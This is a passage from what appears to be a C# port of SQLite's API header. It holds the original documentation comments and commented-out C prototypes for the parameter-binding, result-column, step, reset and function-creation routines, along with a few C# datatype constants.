parameter.\n    **\n    ** In those routines that have a fourth argument, its value is the\n    ** number of bytes in the parameter.  To be clear: the value is the\n    ** number of <u>bytes</u> in the value, not the number of characters.\n    ** If the fourth parameter is negative, the length of the string is\n    ** the number of bytes up to the first zero terminator.\n    **\n    ** The fifth argument to sqlite3_bind_blob(), sqlite3_bind_text(), and\n    ** sqlite3_bind_text16() is a destructor used to dispose of the BLOB or\n    ** string after SQLite has finished with it. If the fifth argument is\n    ** the special value [SQLITE_STATIC], then SQLite assumes that the\n    ** information is in static, unmanaged space and does not need to be freed.\n    ** If the fifth argument has the value [SQLITE_TRANSIENT], then\n    ** SQLite makes its own private copy of the data immediately, before\n    ** the sqlite3_bind_*() routine returns.\n    **\n    ** The sqlite3_bind_zeroblob() routine binds a BLOB of length N that\n    ** is filled with zeroes.  A zeroblob uses a fixed amount of memory\n    ** (just an integer to hold its size) while it is being processed.\n    ** Zeroblobs are intended to serve as placeholders for BLOBs whose\n    ** content is later written using\n    ** [sqlite3_blob_open | incremental BLOB I/O] routines.\n    ** A negative value for the zeroblob results in a zero-length BLOB.\n    **\n    ** The sqlite3_bind_*() routines must be called after\n    ** [sqlite3_prepare_v2()] (and its variants) or [sqlite3_reset()] and\n    ** before [sqlite3_step()].\n    ** Bindings are not cleared by the [sqlite3_reset()] routine.\n    ** Unbound parameters are interpreted as NULL.\n    **\n    ** These routines return [SQLITE_OK] on success or an error code if\n    ** anything goes wrong.  [SQLITE_RANGE] is returned if the parameter\n    ** index is out of range.  [SQLITE_NOMEM] is returned if malloc() fails.\n    ** [SQLITE_MISUSE] might be returned if these routines are called on a\n    ** virtual machine that is the wrong state or which has already been finalized.\n    ** Detection of misuse is unreliable.  Applications should not depend\n    ** on SQLITE_MISUSE returns.  SQLITE_MISUSE is intended to indicate a\n    ** a logic error in the application.  Future versions of SQLite might\n    ** panic rather than return SQLITE_MISUSE.\n    **\n    ** See also: [sqlite3_bind_parameter_count()],\n    ** [sqlite3_bind_parameter_name()], and [sqlite3_bind_parameter_index()].\n    **\n    ** Requirements:\n    ** [H13506] [H13509] [H13512] [H13515] [H13518] [H13521] [H13524] [H13527]\n    ** [H13530] [H13533] [H13536] [H13539] [H13542] [H13545] [H13548] [H13551]\n    **\n    */\n    //SQLITE_API int sqlite3_bind_blob(sqlite3_stmt*, int, const void*, int n, void(*)(void*));\n    //SQLITE_API int sqlite3_bind_double(sqlite3_stmt*, int, double);\n    //SQLITE_API int sqlite3_bind_int(sqlite3_stmt*, int, int);\n    //SQLITE_API int sqlite3_bind_int64(sqlite3_stmt*, int, sqlite3_int64);\n    //SQLITE_API int sqlite3_bind_null(sqlite3_stmt*, int);\n    //SQLITE_API int sqlite3_bind_text(sqlite3_stmt*, int, const char*, int n, void(*)(void*));\n    //SQLITE_API int sqlite3_bind_text16(sqlite3_stmt*, int, const void*, int, void(*)(void*));\n    //SQLITE_API int sqlite3_bind_value(sqlite3_stmt*, int, const sqlite3_value*);\n    //SQLITE_API int sqlite3_bind_zeroblob(sqlite3_stmt*, int, int n);\n\n    /*\n    ** CAPI3REF: Number Of SQL Parameters {H13600} <S70300>\n    **\n    ** This routine can be used to find the number of [SQL parameters]\n    ** in a [prepared statement].  SQL parameters are tokens of the\n    ** form \"?\", \"?NNN\", \":AAA\", \"$AAA\", or \"@AAA\" that serve as\n    ** placeholders for values that are [sqlite3_bind_blob | bound]\n    ** to the parameters at a later time.\n    **\n    ** This routine actually returns the index of the largest (rightmost)\n    ** parameter. For all forms except ?NNN, this will correspond to the\n    ** number of unique parameters.  If parameters of the ?NNN are used,\n    ** there may be gaps in the list.\n    **\n    ** See also: [sqlite3_bind_blob|sqlite3_bind()],\n    ** [sqlite3_bind_parameter_name()], and\n    ** [sqlite3_bind_parameter_index()].\n    **\n    ** Requirements:\n    ** [H13601]\n    */\n    //SQLITE_API int sqlite3_bind_parameter_count(sqlite3_stmt*);\n\n    /*\n    ** CAPI3REF: Name Of A Host Parameter {H13620} <S70300>\n    **\n    ** This routine returns a pointer to the name of the n-th\n    ** [SQL parameter] in a [prepared statement].\n    ** SQL parameters of the form \"?NNN\" or \":AAA\" or \"@AAA\" or \"$AAA\"\n    ** have a name which is the string \"?NNN\" or \":AAA\" or \"@AAA\" or \"$AAA\"\n    ** respectively.\n    ** In other words, the initial \":\" or \"$\" or \"@\" or \"?\"\n    ** is included as part of the name.\n    ** Parameters of the form \"?\" without a following integer have no name\n    ** and are also referred to as \"anonymous parameters\".\n    **\n    ** The first host parameter has an index of 1, not 0.\n    **\n    ** If the value n is out of range or if the n-th parameter is\n    ** nameless, then NULL is returned.  The returned string is\n    ** always in UTF-8 encoding even if the named parameter was\n    ** originally specified as UTF-16 in [sqlite3_prepare16()] or\n    ** [sqlite3_prepare16_v2()].\n    **\n    ** See also: [sqlite3_bind_blob|sqlite3_bind()],\n    ** [sqlite3_bind_parameter_count()], and\n    ** [sqlite3_bind_parameter_index()].\n    **\n    ** Requirements:\n    ** [H13621]\n    */\n    //SQLITE_API const char *sqlite3_bind_parameter_name(sqlite3_stmt*, int);\n\n    /*\n    ** CAPI3REF: Index Of A Parameter With A Given Name {H13640} <S70300>\n    **\n    ** Return the index of an SQL parameter given its name.  The\n    ** index value returned is suitable for use as the second\n    ** parameter to [sqlite3_bind_blob|sqlite3_bind()].  A zero\n    ** is returned if no matching parameter is found.  The parameter\n    ** name must be given in UTF-8 even if the original statement\n    ** was prepared from UTF-16 text using [sqlite3_prepare16_v2()].\n    **\n    ** See also: [sqlite3_bind_blob|sqlite3_bind()],\n    ** [sqlite3_bind_parameter_count()], and\n    ** [sqlite3_bind_parameter_index()].\n    **\n    ** Requirements:\n    ** [H13641]\n    */\n    //SQLITE_API int sqlite3_bind_parameter_index(sqlite3_stmt*, const char *zName);\n\n    /*\n    ** CAPI3REF: Reset All Bindings On A Prepared Statement {H13660} <S70300>\n    **\n    ** Contrary to the intuition of many, [sqlite3_reset()] does not reset\n    ** the [sqlite3_bind_blob | bindings] on a [prepared statement].\n    ** Use this routine to reset all host parameters to NULL.\n    **\n    ** Requirements:\n    ** [H13661]\n    */\n    //SQLITE_API int sqlite3_clear_bindings(sqlite3_stmt*);\n\n    /*\n    ** CAPI3REF: Number Of Columns In A Result Set {H13710} <S10700>\n    **\n    ** Return the number of columns in the result set returned by the\n    ** [prepared statement]. This routine returns 0 if pStmt is an SQL\n    ** statement that does not return data (for example an [UPDATE]).\n    **\n    ** Requirements:\n    ** [H13711]\n    */\n    //SQLITE_API int sqlite3_column_count(sqlite3_stmt *pStmt);\n\n    /*\n    ** CAPI3REF: Column Names In A Result Set {H13720} <S10700>\n    **\n    ** These routines return the name assigned to a particular column\n    ** in the result set of a [SELECT] statement.  The sqlite3_column_name()\n    ** interface returns a pointer to a zero-terminated UTF-8 string\n    ** and sqlite3_column_name16() returns a pointer to a zero-terminated\n    ** UTF-16 string.  The first parameter is the [prepared statement]\n    ** that implements the [SELECT] statement. The second parameter is the\n    ** column number.  The leftmost column is number 0.\n    **\n    ** The returned string pointer is valid until either the [prepared statement]\n    ** is destroyed by [sqlite3_finalize()] or until the next call to\n    ** sqlite3_column_name() or sqlite3_column_name16() on the same column.\n    **\n    ** If sqlite3_malloc() fails during the processing of either routine\n    ** (for example during a conversion from UTF-8 to UTF-16) then a\n    ** NULL pointer is returned.\n    **\n    ** The name of a result column is the value of the \"AS\" clause for\n    ** that column, if there is an AS clause.  If there is no AS clause\n    ** then the name of the column is unspecified and may change from\n    ** one release of SQLite to the next.\n    **\n    ** Requirements:\n    ** [H13721] [H13723] [H13724] [H13725] [H13726] [H13727]\n    */\n    //SQLITE_API const char *sqlite3_column_name(sqlite3_stmt*, int N);\n    //SQLITE_API const void *sqlite3_column_name16(sqlite3_stmt*, int N);\n\n    /*\n    ** CAPI3REF: Source Of Data In A Query Result {H13740} <S10700>\n    **\n    ** These routines provide a means to determine what column of what\n    ** table in which database a result of a [SELECT] statement comes from.\n    ** The name of the database or table or column can be returned as\n    ** either a UTF-8 or UTF-16 string.  The _database_ routines return\n    ** the database name, the _table_ routines return the table name, and\n    ** the origin_ routines return the column name.\n    ** The returned string is valid until the [prepared statement] is destroyed\n    ** using [sqlite3_finalize()] or until the same information is requested\n    ** again in a different encoding.\n    **\n    ** The names returned are the original un-aliased names of the\n    ** database, table, and column.\n    **\n    ** The first argument to the following calls is a [prepared statement].\n    ** These functions return information about the Nth column returned by\n    ** the statement, where N is the second function argument.\n    **\n    ** If the Nth column returned by the statement is an expression or\n    ** subquery and is not a column value, then all of these functions return\n    ** NULL.  These routine might also return NULL if a memory allocation error\n    ** occurs.  Otherwise, they return the name of the attached database, table\n    ** and column that query result column was extracted from.\n    **\n    ** As with all other SQLite APIs, those postfixed with \"16\" return\n    ** UTF-16 encoded strings, the other functions return UTF-8. {END}\n    **\n    ** These APIs are only available if the library was compiled with the\n    ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined.\n    **\n    ** {A13751}\n    ** If two or more threads call one or more of these routines against the same\n    ** prepared statement and column at the same time then the results are\n    ** undefined.\n    **\n    ** Requirements:\n    ** [H13741] [H13742] [H13743] [H13744] [H13745] [H13746] [H13748]\n    **\n    ** If two or more threads call one or more\n    ** [sqlite3_column_database_name | column metadata interfaces]\n    ** for the same [prepared statement] and result column\n    ** at the same time then the results are undefined.\n    */\n    //SQLITE_API const char *sqlite3_column_database_name(sqlite3_stmt*,int);\n    //SQLITE_API const void *sqlite3_column_database_name16(sqlite3_stmt*,int);\n    //SQLITE_API const char *sqlite3_column_table_name(sqlite3_stmt*,int);\n    //SQLITE_API const void *sqlite3_column_table_name16(sqlite3_stmt*,int);\n    //SQLITE_API const char *sqlite3_column_origin_name(sqlite3_stmt*,int);\n    //SQLITE_API const void *sqlite3_column_origin_name16(sqlite3_stmt*,int);\n\n    /*\n    ** CAPI3REF: Declared Datatype Of A Query Result {H13760} <S10700>\n    **\n    ** The first parameter is a [prepared statement].\n    ** If this statement is a [SELECT] statement and the Nth column of the\n    ** returned result set of that [SELECT] is a table column (not an\n    ** expression or subquery) then the declared type of the table\n    ** column is returned.  If the Nth column of the result set is an\n    ** expression or subquery, then a NULL pointer is returned.\n    ** The returned string is always UTF-8 encoded. {END}\n    **\n    ** For example, given the database schema:\n    **\n    ** CREATE TABLE t1(c1 VARIANT);\n    **\n    ** and the following statement to be compiled:\n    **\n    ** SELECT c1 + 1, c1 FROM t1;\n    **\n    ** this routine would return the string \"VARIANT\" for the second result\n    ** column (i==1), and a NULL pointer for the first result column (i==0).\n    **\n    ** SQLite uses dynamic run-time typing.  So just because a column\n    ** is declared to contain a particular type does not mean that the\n    ** data stored in that column is of the declared type.  SQLite is\n    ** strongly typed, but the typing is dynamic not static.  Type\n    ** is associated with individual values, not with the containers\n    ** used to hold those values.\n    **\n    ** Requirements:\n    ** [H13761] [H13762] [H13763]\n    */\n    //SQLITE_API const char *sqlite3_column_decltype(sqlite3_stmt*,int);\n    //SQLITE_API const void *sqlite3_column_decltype16(sqlite3_stmt*,int);\n\n    /*\n    ** CAPI3REF: Evaluate An SQL Statement {H13200} <S10000>\n    **\n    ** After a [prepared statement] has been prepared using either\n    ** [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] or one of the legacy\n    ** interfaces [sqlite3_prepare()] or [sqlite3_prepare16()], this function\n    ** must be called one or more times to evaluate the statement.\n    **\n    ** The details of the behavior of the sqlite3_step() interface depend\n    ** on whether the statement was prepared using the newer \"v2\" interface\n    ** [sqlite3_prepare_v2()] and [sqlite3_prepare16_v2()] or the older legacy\n    ** interface [sqlite3_prepare()] and [sqlite3_prepare16()].  The use of the\n    ** new \"v2\" interface is recommended for new applications but the legacy\n    ** interface will continue to be supported.\n    **\n    ** In the legacy interface, the return value will be either [SQLITE_BUSY],\n    ** [SQLITE_DONE], [SQLITE_ROW], [SQLITE_ERROR], or [SQLITE_MISUSE].\n    ** With the \"v2\" interface, any of the other [result codes] or\n    ** [extended result codes] might be returned as well.\n    **\n    ** [SQLITE_BUSY] means that the database engine was unable to acquire the\n    ** database locks it needs to do its job.  If the statement is a [COMMIT]\n    ** or occurs outside of an explicit transaction, then you can retry the\n    ** statement.  If the statement is not a [COMMIT] and occurs within a\n    ** explicit transaction then you should rollback the transaction before\n    ** continuing.\n    **\n    ** [SQLITE_DONE] means that the statement has finished executing\n    ** successfully.  sqlite3_step() should not be called again on this virtual\n    ** machine without first calling [sqlite3_reset()] to reset the virtual\n    ** machine back to its initial state.\n    **\n    ** If the SQL statement being executed returns any data, then [SQLITE_ROW]\n    ** is returned each time a new row of data is ready for processing by the\n    ** caller. The values may be accessed using the [column access functions].\n    ** sqlite3_step() is called again to retrieve the next row of data.\n    **\n    ** [SQLITE_ERROR] means that a run-time error (such as a constraint\n    ** violation) has occurred.  sqlite3_step() should not be called again on\n    ** the VM. More information may be found by calling [sqlite3_errmsg()].\n    ** With the legacy interface, a more specific error code (for example,\n    ** [SQLITE_INTERRUPT], [SQLITE_SCHEMA], [SQLITE_CORRUPT], and so forth)\n    ** can be obtained by calling [sqlite3_reset()] on the\n    ** [prepared statement].  In the \"v2\" interface,\n    ** the more specific error code is returned directly by sqlite3_step().\n    **\n    ** [SQLITE_MISUSE] means that the this routine was called inappropriately.\n    ** Perhaps it was called on a [prepared statement] that has\n    ** already been [sqlite3_finalize | finalized] or on one that had\n    ** previously returned [SQLITE_ERROR] or [SQLITE_DONE].  Or it could\n    ** be the case that the same database connection is being used by two or\n    ** more threads at the same moment in time.\n    **\n    ** <b>Goofy Interface Alert:</b> In the legacy interface, the sqlite3_step()\n    ** API always returns a generic error code, [SQLITE_ERROR], following any\n    ** error other than [SQLITE_BUSY] and [SQLITE_MISUSE].  You must call\n    ** [sqlite3_reset()] or [sqlite3_finalize()] in order to find one of the\n    ** specific [error codes] that better describes the error.\n    ** We admit that this is a goofy design.  The problem has been fixed\n    ** with the \"v2\" interface.  If you prepare all of your SQL statements\n    ** using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] instead\n    ** of the legacy [sqlite3_prepare()] and [sqlite3_prepare16()] interfaces,\n    ** then the more specific [error codes] are returned directly\n    ** by sqlite3_step().  The use of the \"v2\" interface is recommended.\n    **\n    ** Requirements:\n    ** [H13202] [H15304] [H15306] [H15308] [H15310]\n    */\n    //SQLITE_API int sqlite3_step(sqlite3_stmt*);\n\n    /*\n    ** CAPI3REF: Number of columns in a result set {H13770} <S10700>\n    **\n    ** Returns the number of values in the current row of the result set.\n    **\n    ** Requirements:\n    ** [H13771] [H13772]\n    */\n    //SQLITE_API int sqlite3_data_count(sqlite3_stmt *pStmt);\n\n    /*\n    ** CAPI3REF: Fundamental Datatypes {H10265} <S10110><S10120>\n    ** KEYWORDS: SQLITE_TEXT\n    **\n    ** {H10266} Every value in SQLite has one of five fundamental datatypes:\n    **\n    ** <ul>\n    ** <li> 64-bit signed integer\n    ** <li> 64-bit IEEE floating point number\n    ** <li> string\n    ** <li> BLOB\n    ** <li> NULL\n    ** </ul> {END}\n    **\n    ** These constants are codes for each of those types.\n    **\n    ** Note that the SQLITE_TEXT constant was also used in SQLite version 2\n    ** for a completely different meaning.  Software that links against both\n    ** SQLite version 2 and SQLite version 3 should use SQLITE3_TEXT, not\n    ** SQLITE_TEXT.\n    */\n    //#define SQLITE_INTEGER  1\n    //#define SQLITE_FLOAT    2\n    //#define SQLITE_BLOB     4\n    //#define SQLITE_NULL     5\n    //#ifdef SQLITE_TEXT\n    //# undef SQLITE_TEXT\n    //#else\n    //# define SQLITE_TEXT     3\n    //#endif\n    //#define SQLITE3_TEXT     3\n    public const u8 SQLITE_INTEGER = 1;\n    public const u8 SQLITE_FLOAT = 2;\n    public const u8 SQLITE_BLOB = 4;\n    public const u8 SQLITE_NULL = 5;\n    public const u8 SQLITE_TEXT = 3;\n    public const u8 SQLITE3_TEXT = 3;\n\n    /*\n    ** CAPI3REF: Result Values From A Query {H13800} <S10700>\n    ** KEYWORDS: {column access functions}\n    **\n    ** These routines form the \"result set query\" interface.\n    **\n    ** These routines return information about a single column of the current\n    ** result row of a query.  In every case the first argument is a pointer\n    ** to the [prepared statement] that is being evaluated (the [sqlite3_stmt*]\n    ** that was returned from [sqlite3_prepare_v2()] or one of its variants)\n    ** and the second argument is the index of the column for which information\n    ** should be returned.  The leftmost column of the result set has the index 0.\n    **\n    ** If the SQL statement does not currently point to a valid row, or if the\n    ** column index is out of range, the result is undefined.\n    ** These routines may only be called when the most recent call to\n    ** [sqlite3_step()] has returned [SQLITE_ROW] and neither\n    ** [sqlite3_reset()] nor [sqlite3_finalize()] have been called subsequently.\n    ** If any of these routines are called after [sqlite3_reset()] or\n    ** [sqlite3_finalize()] or after [sqlite3_step()] has returned\n    ** something other than [SQLITE_ROW], the results are undefined.\n    ** If [sqlite3_step()] or [sqlite3_reset()] or [sqlite3_finalize()]\n    ** are called from a different thread while any of these routines\n    ** are pending, then the results are undefined.\n    **\n    ** The sqlite3_column_type() routine returns the\n    ** [SQLITE_INTEGER | datatype code] for the initial data type\n    ** of the result column.  The returned value is one of [SQLITE_INTEGER],\n    ** [SQLITE_FLOAT], [SQLITE_TEXT], [SQLITE_BLOB], or [SQLITE_NULL].  The value\n    ** returned by sqlite3_column_type() is only meaningful if no type\n    ** conversions have occurred as described below.  After a type conversion,\n    ** the value returned by sqlite3_column_type() is undefined.  Future\n    ** versions of SQLite may change the behavior of sqlite3_column_type()\n    ** following a type conversion.\n    **\n    ** If the result is a BLOB or UTF-8 string then the sqlite3_column_bytes()\n    ** routine returns the number of bytes in that BLOB or string.\n    ** If the result is a UTF-16 string, then sqlite3_column_bytes() converts\n    ** the string to UTF-8 and then returns the number of bytes.\n    ** If the result is a numeric value then sqlite3_column_bytes() uses\n    ** [sqlite3_snprintf()] to convert that value to a UTF-8 string and returns\n    ** the number of bytes in that string.\n    ** The value returned does not include the zero terminator at the end\n    ** of the string.  For clarity: the value returned is the number of\n    ** bytes in the string, not the number of characters.\n    **\n    ** Strings returned by sqlite3_column_text() and sqlite3_column_text16(),\n    ** even empty strings, are always zero terminated.  The return\n    ** value from sqlite3_column_blob() for a zero-length BLOB is an arbitrary\n    ** pointer, possibly even a NULL pointer.\n    **\n    ** The sqlite3_column_bytes16() routine is similar to sqlite3_column_bytes()\n    ** but leaves the result in UTF-16 in native byte order instead of UTF-8.\n    ** The zero terminator is not included in this count.\n    **\n    ** The object returned by [sqlite3_column_value()] is an\n    ** [unprotected sqlite3_value] object.  An unprotected sqlite3_value object\n    ** may only be used with [sqlite3_bind_value()] and [sqlite3_result_value()].\n    ** If the [unprotected sqlite3_value] object returned by\n    ** [sqlite3_column_value()] is used in any other way, including calls\n    ** to routines like [sqlite3_value_int()], [sqlite3_value_text()],\n    ** or [sqlite3_value_bytes()], then the behavior is undefined.\n    **\n    ** These routines attempt to convert the value where appropriate.  For\n    ** example, if the internal representation is FLOAT and a text result\n    ** is requested, [sqlite3_snprintf()] is used internally to perform the\n    ** conversion automatically.  The following table details the conversions\n    ** that are applied:\n    **\n    ** <blockquote>\n    ** <table border=\"1\">\n    ** <tr><th> Internal<br>Type <th> Requested<br>Type <th>  Conversion\n    **\n    ** <tr><td>  NULL    <td> INTEGER   <td> Result is 0\n    ** <tr><td>  NULL    <td>  FLOAT    <td> Result is 0.0\n    ** <tr><td>  NULL    <td>   TEXT    <td> Result is NULL pointer\n    ** <tr><td>  NULL    <td>   BLOB    <td> Result is NULL pointer\n    ** <tr><td> INTEGER  <td>  FLOAT    <td> Convert from integer to float\n    ** <tr><td> INTEGER  <td>   TEXT    <td> ASCII rendering of the integer\n    ** <tr><td> INTEGER  <td>   BLOB    <td> Same as INTEGER->TEXT\n    ** <tr><td>  FLOAT   <td> INTEGER   <td> Convert from float to integer\n    ** <tr><td>  FLOAT   <td>   TEXT    <td> ASCII rendering of the float\n    ** <tr><td>  FLOAT   <td>   BLOB    <td> Same as FLOAT->TEXT\n    ** <tr><td>  TEXT    <td> INTEGER   <td> Use atoi()\n    ** <tr><td>  TEXT    <td>  FLOAT    <td> Use atof()\n    ** <tr><td>  TEXT    <td>   BLOB    <td> No change\n    ** <tr><td>  BLOB    <td> INTEGER   <td> Convert to TEXT then use atoi()\n    ** <tr><td>  BLOB    <td>  FLOAT    <td> Convert to TEXT then use atof()\n    ** <tr><td>  BLOB    <td>   TEXT    <td> Add a zero terminator if needed\n    ** </table>\n    ** </blockquote>\n    **\n    ** The table above makes reference to standard C library functions atoi()\n    ** and atof().  SQLite does not really use these functions.  It has its\n    ** own equivalent internal routines.  The atoi() and atof() names are\n    ** used in the table for brevity and because they are familiar to most\n    ** C programmers.\n    **\n    ** Note that when type conversions occur, pointers returned by prior\n    ** calls to sqlite3_column_blob(), sqlite3_column_text(), and/or\n    ** sqlite3_column_text16() may be invalidated.\n    ** Type conversions and pointer invalidations might occur\n    ** in the following cases:\n    **\n    ** <ul>\n    ** <li> The initial content is a BLOB and sqlite3_column_text() or\n    **      sqlite3_column_text16() is called.  A zero-terminator might\n    **      need to be added to the string.</li>\n    ** <li> The initial content is UTF-8 text and sqlite3_column_bytes16() or\n    **      sqlite3_column_text16() is called.  The content must be converted\n    **      to UTF-16.</li>\n    ** <li> The initial content is UTF-16 text and sqlite3_column_bytes() or\n    **      sqlite3_column_text() is called.  The content must be converted\n    **      to UTF-8.</li>\n    ** </ul>\n    **\n    ** Conversions between UTF-16be and UTF-16le are always done in place and do\n    ** not invalidate a prior pointer, though of course the content of the buffer\n    ** that the prior pointer points to will have been modified.  Other kinds\n    ** of conversion are done in place when it is possible, but sometimes they\n    ** are not possible and in those cases prior pointers are invalidated.\n    **\n    ** The safest and easiest to remember policy is to invoke these routines\n    ** in one of the following ways:\n    **\n    ** <ul>\n    **  <li>sqlite3_column_text() followed by sqlite3_column_bytes()</li>\n    **  <li>sqlite3_column_blob() followed by sqlite3_column_bytes()</li>\n    **  <li>sqlite3_column_text16() followed by sqlite3_column_bytes16()</li>\n    ** </ul>\n    **\n    ** In other words, you should call sqlite3_column_text(),\n    ** sqlite3_column_blob(), or sqlite3_column_text16() first to force the result\n    ** into the desired format, then invoke sqlite3_column_bytes() or\n    ** sqlite3_column_bytes16() to find the size of the result.  Do not mix calls\n    ** to sqlite3_column_text() or sqlite3_column_blob() with calls to\n    ** sqlite3_column_bytes16(), and do not mix calls to sqlite3_column_text16()\n    ** with calls to sqlite3_column_bytes().\n    **\n    ** The pointers returned are valid until a type conversion occurs as\n    ** described above, or until [sqlite3_step()] or [sqlite3_reset()] or\n    ** [sqlite3_finalize()] is called.  The memory space used to hold strings\n    ** and BLOBs is freed automatically.  Do <b>not</b> pass the pointers returned\n    ** [sqlite3_column_blob()], [sqlite3_column_text()], etc. into\n    ** [sqlite3_free()].\n    **\n    ** If a memory allocation error occurs during the evaluation of any\n    ** of these routines, a default value is returned.  The default value\n    ** is either the integer 0, the floating point number 0.0, or a NULL\n    ** pointer.  Subsequent calls to [sqlite3_errcode()] will return\n    ** [SQLITE_NOMEM].\n    **\n    ** Requirements:\n    ** [H13803] [H13806] [H13809] [H13812] [H13815] [H13818] [H13821] [H13824]\n    ** [H13827] [H13830]\n    */\n    //SQLITE_API const void *sqlite3_column_blob(sqlite3_stmt*, int iCol);\n    //SQLITE_API int sqlite3_column_bytes(sqlite3_stmt*, int iCol);\n    //SQLITE_API int sqlite3_column_bytes16(sqlite3_stmt*, int iCol);\n    //SQLITE_API double sqlite3_column_double(sqlite3_stmt*, int iCol);\n    //SQLITE_API int sqlite3_column_int(sqlite3_stmt*, int iCol);\n    //SQLITE_API sqlite3_int64 sqlite3_column_int64(sqlite3_stmt*, int iCol);\n    //SQLITE_API const unsigned char *sqlite3_column_text(sqlite3_stmt*, int iCol);\n    //SQLITE_API const void *sqlite3_column_text16(sqlite3_stmt*, int iCol);\n    //SQLITE_API int sqlite3_column_type(sqlite3_stmt*, int iCol);\n    //SQLITE_API sqlite3_value *sqlite3_column_value(sqlite3_stmt*, int iCol);\n\n    /*\n    ** CAPI3REF: Destroy A Prepared Statement Object {H13300} <S70300><S30100>\n    **\n    ** The sqlite3_finalize() function is called to delete a [prepared statement].\n    ** If the statement was executed successfully or not executed at all, then\n    ** SQLITE_OK is returned. If execution of the statement failed then an\n    ** [error code] or [extended error code] is returned.\n    **\n    ** This routine can be called at any point during the execution of the\n    ** [prepared statement].  If the virtual machine has not\n    ** completed execution when this routine is called, that is like\n    ** encountering an error or an [sqlite3_interrupt | interrupt].\n    ** Incomplete updates may be rolled back and transactions canceled,\n    ** depending on the circumstances, and the\n    ** [error code] returned will be [SQLITE_ABORT].\n    **\n    ** Requirements:\n    ** [H11302] [H11304]\n    */\n    //SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt);\n\n    /*\n    ** CAPI3REF: Reset A Prepared Statement Object {H13330} <S70300>\n    **\n    ** The sqlite3_reset() function is called to reset a [prepared statement]\n    ** object back to its initial state, ready to be re-executed.\n    ** Any SQL statement variables that had values bound to them using\n    ** the [sqlite3_bind_blob | sqlite3_bind_*() API] retain their values.\n    ** Use [sqlite3_clear_bindings()] to reset the bindings.\n    **\n    ** {H11332} The [sqlite3_reset(S)] interface resets the [prepared statement] S\n    **          back to the beginning of its program.\n    **\n    ** {H11334} If the most recent call to [sqlite3_step(S)] for the\n    **          [prepared statement] S returned [SQLITE_ROW] or [SQLITE_DONE],\n    **          or if [sqlite3_step(S)] has never before been called on S,\n    **          then [sqlite3_reset(S)] returns [SQLITE_OK].\n    **\n    ** {H11336} If the most recent call to [sqlite3_step(S)] for the\n    **          [prepared statement] S indicated an error, then\n    **          [sqlite3_reset(S)] returns an appropriate [error code].\n    **\n    ** {H11338} The [sqlite3_reset(S)] interface does not change the values\n    **          of any [sqlite3_bind_blob|bindings] on the [prepared statement] S.\n    */\n    //SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt);\n\n    /*\n    ** CAPI3REF: Create Or Redefine SQL Functions {H16100} <S20200>\n    ** KEYWORDS: {function creation routines}\n    ** KEYWORDS: {application-defined SQL function}\n    ** KEYWORDS: {application-defined SQL functions}\n    **\n    ** These two functions (collectively known as \"function creation routines\")\n    ** are used to add SQL functions or aggregates or to redefine the behavior\n    ** of existing SQL functions or aggregates.  The only difference between the\n    ** two is that the second parameter, the name of the (scalar) function or\n    ** aggregate, is encoded in UTF-8 for sqlite3_create_function() and UTF-16\n    ** for sqlite3_create_function16().\n    **\n    ** The first parameter is the [database connection] to which the SQL\n    ** function is to be added.  If a single program uses more than one database\n    ** connection internally, then SQL functions must be added individually to\n    ** each database connection.\n    **\n    ** The second parameter is the name of the SQL function to be created or\n    ** redefined.  The length of the name is limited to 255 bytes, exclusive of\n    ** the zero-terminator.  Note that the name length limit is in bytes, not\n    ** characters.  Any attempt to create a function with a longer name\n    ** will result in [SQLITE_ERROR] being returned.\n    **\n    ** The third parameter (nArg)\n    ** is the number of arguments that the SQL function or\n    ** aggregate takes. If this parameter is -1, then the SQL function or\n    ** aggregate may take any number of arguments between 0 and the limit\n    ** set by [sqlite3_limit]([SQLITE_LIMIT_FUNCTION_ARG]).  If the third\n    ** parameter is less than -1 or greater than 127 then the behavior is\n    ** undefined.\n    **\n    ** The fourth parameter, eTextRep, specifies what\n    ** [SQLITE_UTF8 | text encoding] this SQL function prefers for\n    ** its parameters.  Any SQL function implementation should be able to work\n    ** work with UTF-8, UTF-16le, or UTF-16be.  But some implementations may be\n    ** more efficient with one encoding than another.  It is allowed to\n    ** invoke sqlite3_create_function() or sqlite3_create_function16() multiple\n    ** times with the same function but with different values of eTextRep.\n    ** When multiple implementations of the same function are available, SQLite\n    ** will pick the one that involves the least amount of data conversion.\n    ** If there is only a single implementation which does not care what text\n    ** encoding is used, then the fourth argument should be [SQLITE_ANY].\n    **\n    ** The fifth parameter is an arbitrary pointer.  The implementation of the\n    ** function can gain access to this pointer using [sqlite3_user_data()].\n    **\n    ** The seventh, eighth and ninth parameters, xFunc, xStep and xFinal, are\n    ** pointers to C-language functions that implement the SQL function or\n    ** aggregate. A scalar SQL function requires an implementation of the xFunc\n    ** callback only, NULL pointers should be passed as the xStep and xFinal\n    ** parameters. An aggregate SQL function requires an implementation of xStep\n    ** and xFinal and NULL should be passed for xFunc. To delete an existing\n    ** SQL function or aggregate, pass NULL for all three function callbacks.\n    **\n    ** It is permitted to register multiple implementations of the same\n    ** functions with the same name but with either differing numbers of\n    ** arguments or differing preferred text encodings.  SQLite will use\n    ** the implementation most closely matches the way in which the\n    ** SQL function is used.  A function implementation with a non-negative\n    ** nArg parameter is a better match than a function implementation with\n    ** a negative nArg.  A function where the preferred text encoding\n    ** matches the database encoding is a better\n    ** match than a function where the encoding is different.  \n    ** A function where the encoding difference is between UTF16le and UTF16be\n    ** is a closer match than a function where the encoding difference is\n    ** between UTF8 and UTF16.\n    **\n    ** Built-in functions may be overloaded by new application-defined functions.\n    ** The first application-defined function with a given name overrides all\n    ** built-in functions in the same [database connection] with the same name.\n    ** Subsequent application-defined functions of the same name only override \n    ** prior application-defined functions that are an exact match for the\n    ** number of parameters and preferred encoding.\n    **\n    ** An application-defined function is permitted to call other\n    ** SQLite interfaces.  However, such calls must not\n    ** close the database connection nor finalize or reset the prepared\n    ** statement in which the function is running.\n    **\n    ** Requirements:\n    ** [H16103] [H16106] [H16109] [H16112] [H16118] [H16121] [H16127]\n    ** [H16130] [H16133] [H16136] [H16139] [H16142]\n    */\n    //SQLITE_API int sqlite3_create_function(\n    //  sqlite3 *db,\n    //  const char *zFunctionName,\n    //  int nArg,\n    //  int eTextRep,\n    //  void *pApp,\n    //  void (*xFunc)(sqlite3_context*,int,sqlite3_value**),\n    //  void (*xStep)(sqlite3_context*,int,sqlite3_value**),\n    //  void 